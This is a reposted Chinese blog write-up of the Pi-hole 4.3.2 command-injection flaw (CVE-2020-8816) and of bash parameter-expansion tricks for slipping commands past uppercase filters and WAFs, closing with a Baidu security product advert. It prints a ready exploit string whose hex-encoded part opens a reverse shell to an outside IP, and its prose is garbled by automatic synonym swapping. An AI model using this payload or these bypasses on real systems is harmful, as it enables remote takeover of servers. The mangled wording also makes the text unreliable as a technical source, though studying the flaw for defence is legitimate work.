首页 » SEO优化 » phpshell接收参数技巧_从CVE20208816聊聊shell参数扩展

phpshell接收参数技巧_从CVE20208816聊聊shell参数扩展

duote123 2024-11-10 0

扫一扫用手机浏览

文章目录 [+]

最近有时看到了Pi-hole <=4.3.2远程代码实行漏洞(CVE-2020-8816)干系的文章,漏洞成因不是很难,但是里面布局的Exp引起了我的兴趣。
由于Pi-hole代码对命令注入的参数整体做了大写转换,因此用到了shell参数扩展进行绕过,后面我查询了干系资料,创造这种办法非常灵巧,可被用在命令注入攻击中以绕过传统WAF。

2、CVE-2020-8816大略复现剖析

phpshell接收参数技巧_从CVE20208816聊聊shell参数扩展

我们下载了Pi-hole 4.3.2版本进行安装,安装成功后会提示访问http://pi.hole/admin进行Web界面的管理。
该漏洞为授权命令实行漏洞,Pi-hole安装完成后会在界面天生一个随机密码。
成功登录后,访问Setting-DHCP,不才图的Mac address处可进行命令注入

phpshell接收参数技巧_从CVE20208816聊聊shell参数扩展
(图片来自网络侵删)

此时我们填写参数并抓包,创造要求的文件路径为/admin/setting.php,仔细查看了setting.php文件逻辑,创造该文件紧张用来展示设置的内容和布局,并且是php和html稠浊的办法,并没有进行保存操作的代码,但是我们在代码第9行创造引入了scripts/pi-hole/php/savesettings.php

跟进到savesettings.php,创造会检讨POST参数中field的值,并利用switch case判断,此时抓取的数据包中field为DHCP,可以跟进到548行。
命令注入点AddMAC被赋值给$mac,并且在556行会由validMAC方法进行校验。

我们连续跟进validMAC方法,创造只要匹配到12个数字字母即返回成功,正则表达式中没有设定开始结束符号导致可以插入任意字符,随后$mac在604行直接拼接到exec方法中,从而导致命令注入。

但是在560行会将$mac所有字符转成大写,我们知道linux中的命令是区分大小写的,大写的如”ID”、”WHOAMI”等都是无法实行的,但是PHP中的函数是不区分大小写的。
因此漏洞作者引入了shell参数扩展的方法,通过模式匹配获取小写的p、h、r等字符。

这里我们可以根据env中的常量进行截取:

$PATH=’ /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin’

$W=${PATH##:/}=’snap/bin’

$Y=${W%%/???}=’snap’

$P=${Y#???}=’p’

$PWD=’/var/www/html/admin’

$I=${PWD#/???/???/}

$H=${I%???/?????}

$Q=${PWD%/???/????/?????}

$R=${Q#/??}

那么可以布局如下的Exp:

123456789123&&W=${PATH##:/}&&Y=${W%%/???}&&P=${Y#???}&&I=${PWD#/???/???/}&&H=${I%???/?????}&&Q=${PWD%/???/????/?????}&&R=${Q#/??}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("62617368202D63202762617368202D69203E26202F6465762F7463702F312E312E312E312F3930393020303E263127"));'&&

3、Shell参数扩展先容

Shell参数扩展的绕过办法非常故意思,在命令注入漏洞的利用中可能被用以绕过WAF等。
我也去查询了一下干系的资料,参数扩展定义如下:在shell中可以利用花括号${}包裹参数来防止紧跟在参数后面的字符串被当作参数变量名的一部分,以是最基本的参数展开便是${parameter},常见的可被利用的有以下操作:

大小写转换:

${parameter^pattern} //对pattern匹配的第一个字符转成大写

${parameter^^pattern} //对pattern匹配的所有字符转成大写

${parameter,pattern} //对pattern匹配的第一个字符转成小写

${parameter,,pattern} //对pattern匹配的所有字符转成小写

字符串删除:

${parameter#pattern} //从头开始匹配符合pattern的数据,则将符合的最短的数据删除

${parameter##pattern}//从头开始匹配符合pattern的数据,则将符合的最长的数据删除

${parameter%pattern}//从后开始匹配符合pattern的数据,则将符合的最短的数据删除

${parameter%%pattern}//从后开始匹配符合pattern的数据,则将符合的最长的数据删除

可以举一个大略的例子如下图,在知道$PATH的情形下可多次利用模式匹配进行字符串删除留下可用字符,从而实行id命令。

参数切片:

${parameter:offset:length} //从offset下标处截取长度为length的部分

利用切片的办法可以更方便地截取字符。

参数更换:

${parameter/pattern/string} //将pattern匹配的部分更换为string

在命令注入时可以将敏感词进行变形,以更换的办法进行绕过。

个中模式匹配pattern常见有下面的符号:

//匹配任意字符串

?//匹配任意单个字符

[…] //匹配凑集中任意一个字符

经由实际测试,创造诸如PHP、JAVA等措辞的命令实行函数,不能完备支持shell参数扩展的办法。
在PHP 7.0.3环境下,利用system、exec、shell_exec命令实行方法,只支持上述字符串删除的办法;而在JAVA1.8环境下,Runtime.getRuntime().exec则支持上述所有办法。

4、安全产品办理方案

百度安全一体化产品已支持CVE-2020-8816检测和拦截, 并且通过AI学习的智能白模型也能很有效地拦截Shell参数扩展造成的变形。
有需求的客户可以登录anquan.baidu.com联系我们。

参考链接:

https://www.freebuf.com/vuls/234533.html

https://www.gnu.org/software/bash/manual/html_node/Pattern-Matching.html#Pattern-Matching

https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html

标签:

相关文章

我国土地利用分类代码的构建与应用

土地利用分类代码是我国土地管理的重要组成部分,是土地资源调查、规划、利用和保护的依据。土地利用分类代码的构建与应用显得尤为重要。本...

SEO优化 2025-02-18 阅读0 评论0

微信跳转微信支付便捷支付体验的秘密武器

移动支付已成为人们日常生活中不可或缺的一部分。作为我国领先的社交平台,微信支付凭借其便捷、安全的支付方式,深受广大用户的喜爱。而微...

SEO优化 2025-02-18 阅读0 评论0

探寻会计科目代码背后的奥秘分类与

会计科目代码是会计信息系统中不可或缺的组成部分,它将企业的经济活动进行分类和归纳,为会计核算、财务分析和决策提供重要依据。本文将从...

SEO优化 2025-02-18 阅读1 评论0